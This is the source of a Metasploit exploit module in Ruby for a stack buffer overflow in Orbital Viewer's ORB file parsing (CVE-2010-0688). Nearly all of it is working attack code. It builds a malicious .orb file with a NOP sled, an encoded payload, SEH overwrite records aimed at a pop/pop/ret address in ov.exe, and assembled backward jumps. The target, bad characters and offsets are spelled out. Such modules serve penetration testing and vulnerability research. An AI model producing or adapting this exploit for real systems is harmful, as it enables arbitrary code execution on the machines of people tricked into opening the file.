Orbital Viewer ORB File Parsing Buffer Overflow

`##  
# $Id: orbital_viewer_orb.rb 8757 2010-03-09 05:57:22Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = GreatRanking  
  
include Msf::Exploit::FILEFORMAT  
include Msf::Exploit::Remote::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Orbital Viewer ORB File Parsing Buffer Overflow',  
'Description' => %q{  
This module exploits a stack-based buffer overflow in David Manthey's  
Orbital Viewer. When processing .ORB files, data is read from file into  
a fixed-size stack buffer using the fscanf function. Since no bounds  
checking is done, a buffer overflow can occur. Attackers can execute  
arbitrary code by convincing their victim to open an ORB file.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'jduck' ],  
'Version' => '$Revision: 8757 $',  
'References' =>  
[  
[ 'BID', '38436' ],  
[ 'OSVDB', '62580' ],  
[ 'CVE', '2010-0688' ],  
[ 'URL', 'http://www.corelan.be:8800/index.php/forum/security-advisories/corelan-10-011-orbital-viewer-orb-buffer-overflow/' ],  
[ 'URL', 'http://www.exploit-db.com/exploits/11581' ]  
],  
'Payload' =>  
{  
'Space' => 2048,  
'BadChars' => "\x00\x09\x0a\x0d\x20", # \xbd was safe in my test, \x09 was not  
'DisableNops' => true,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Orbital Viewer 1.04 on Windows XP SP3',  
{  
'Ret' => 0x004032a2, # p/p/r in ov.exe v1.0.0.2  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Feb 27 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.orb']),  
], self.class)  
end  
  
def exploit  
  
# One for double-click  
seh1 = 3968  
# One for DnD and File->Open  
seh2 = seh1 + 2092  
  
sploit = "OrbitalFileV1.0\r\n"  
  
line2 = ''  
nop_count = seh1 - payload.encoded.length  
line2 << make_nops(nop_count)  
line2 << payload.encoded  
  
line2 << generate_seh_record(target.ret)  
distance = seh1 + 8  
line2 << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string  
  
line2 << rand_text_alphanumeric(seh2 - line2.length)  
line2 << generate_seh_record(target.ret)  
distance = seh2 + 8  
line2 << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string  
  
# Crash writing past end of stack...  
line2 << rand_text_alphanumeric(1024) * 20  
  
sploit << line2  
  
print_status("Creating '#{datastore['FILENAME']}' file ...")  
  
file_create(sploit)  
  
end  
  
end  
`